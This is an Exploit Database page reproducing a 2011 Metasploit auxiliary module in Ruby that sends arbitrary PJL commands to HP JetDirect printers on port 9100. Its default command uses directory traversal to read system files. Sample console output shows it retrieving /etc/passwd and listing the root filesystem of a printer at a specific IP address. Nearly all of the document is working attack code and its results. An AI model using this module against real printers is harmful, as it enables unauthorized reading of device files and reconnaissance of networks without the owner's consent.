HP JetDirect PJL – Query Execution (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Myo Soe
  日期： 2011-08-07
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/17636/

• # Exploit Title: HP JetDirect PJL Query Execution
  # Date: Aug 7, 2011
  # Author: Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>
  # Software Link: http://www.hp.com
  # Version: All
  # Tested on: HP LaserJet Pxxxx Series
  
  ##
  # $Id: $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  
  ##
  # Sample Output:
  # 
  #
  # msf auxiliary(hp_printer_pjl_cmd) > show options
  # 
  # Module options (auxiliary/admin/hp_printer_pjl_cmd):
  # 
  #Name Current Setting RequiredDescription
  #---- --------------- -------------------
  #CMDFSUPLOAD NAME="0:/../../../etc/passwd" OFFSET=0 SIZE=999yes PJL Command to run
  #INTERACTIVEtruenoEnter interactive mode [msfconsole Only]
  #RHOST202.138.16.21 yes The target address
  #RPORT9100yes The target port
  # 
  # msf auxiliary(hp_printer_pjl_cmd) > run
  # 
  # [*] Entering interactive mode ...
  # [*] Please wait while executing -
  # [*] FSUPLOAD NAME="0:/../../../etc/passwd" OFFSET=0 SIZE=999
  # [+] Server returned the following response:
  # 
  # root::0:0::/:/bin/dlsh
  # 
  # 
  # [*] Enter PJL Command:
  # [*] -> 'quit' to exit
  # $ > fsdirlist name="0:/../../../" entry=1 count=99999999
  # [*] Please wait while executing -
  # [*] fsdirlist name="0:/../../../" entry=1 count=99999999
  # [+] Server returned the following response:
  # 
  # . TYPE=DIR
  # .. TYPE=DIR
  # bin TYPE=DIR
  # usr TYPE=DIR
  # etc TYPE=DIR
  # hpmnt TYPE=DIR
  # hp TYPE=DIR
  # lib TYPE=DIR
  # dev TYPE=DIR
  # init TYPE=FILE SIZE=9016
  # .profile TYPE=FILE SIZE=834
  # tmp TYPE=DIR
  # 
  # 
  # [*] Enter PJL Command:
  # [*] -> 'quit' to exit
  # $ > quit
  # [*] Exited ... Have fun with your Printer!
  # [*] Auxiliary module execution completed
  # msf auxiliary(hp_printer_pjl_cmd) > 
  
  
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Auxiliary
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name'=> 'HP JetDirect Printer PJL Query Execution',
  			'Version' => '$Revision: 1 $',
  			'Description'	=> %q{
  				This module act as a HP printer PJL (Printer Job Language) query tool that allows you to submit your own PJL commands. Valid PJL commands are required to get successful response. See the reference section for PJL reference guides from HP. 
  			},
  			'Author'=> [
  					'Myo Soe <YGN Ethical Hacker Group, http://yehg.net/>' 
  					],
  			'License' => MSF_LICENSE,
  			'References' =>
  			[
  				[ 'URL', 'http://h20000.www2.hp.com/bc/docs/support/SupportManual/bpl13208/bpl13208.pdf' ],
  				[ 'URL', 'http://h20000.www2.hp.com/bc/docs/support/SupportManual/bpl13207/bpl13207.pdf' ],
  				[ 'URL', 'https://secure.wikimedia.org/wikipedia/en/wiki/Printer_Job_Language' ],
  				[ 'URL', 'http://core.yehg.net/lab/#tools.exploits' ]				
  				
  			],
  			'DisclosureDate' => ' 2011'))
  		
  		register_options(
  		[
  			OptString.new('CMD',
  					[
  						true,
  						"PJL Command to run",
  						'FSUPLOAD NAME="0:/../../../.profile" OFFSET=0 SIZE=999'
  					]
  				),
  			OptBool.new('INTERACTIVE',
  								[
  									false,
  									"Enter interactive mode [msfconsole Only]",
  									false
  								]
  							),
  				
  			Opt::RPORT(9100)
  		],self.class)
  		
  
  	end
  
  	def run
  		mode = datastore['INTERACTIVE']
  
  		if mode	== true
  			set_interactive(datastore['CMD'])
  		else
  			set_onetime(datastore['CMD'])
  		end
  	end
  	
  	def set_interactive(scmd)
  		cmd = scmd
  	
  		print_status("Entering interactive mode ...")
  		stop = false
  		
  		set_onetime(cmd)
  		
  		until stop == true		
  			print_status("Enter PJL Command:")
  			print_status("-> 'quit' to exit")
  			print("$ > ")
  			tmp_cmd = ''
  			tmp_cmd = gets.chomp.to_s	
  			if tmp_cmd =~ /quit/
  				stop= true
  				print_status("Exited ... Have fun with your Printer!")
  			else
  				set_onetime(tmp_cmd)	
  			end
  		end
  	end 
  	
  	def set_onetime(scmd)
  
  		connect
  		
  		cmd = "\x1b%-12345X@PJL [REPLACE]\x0d\x0a\x1b%-12345X\x0d\x0a"
  		r_cmd = cmd.sub("[REPLACE]",scmd)
  		
   		print_status("Please wait while executing -")
  		print_status("#{scmd}")
  		
  		recv = sock.put(r_cmd)
  		res = sock.get(-1,1)
  		
  		if (!res)
  			print_error("ERROR in receiving data!\r\n")
  		else
  			if res.to_s =~ /ERROR/ 
  				print_error("BAD COMMAND OR ERROR\r\n")
  				disconnect
  				return
  			end
  			resx = res.to_s[res.index("\r\n")+1,res.length]
  			print_good("Server returned the following response:\r\n#{resx}")
  		end
  		
  		disconnect	
  	
  	end
  
  
  end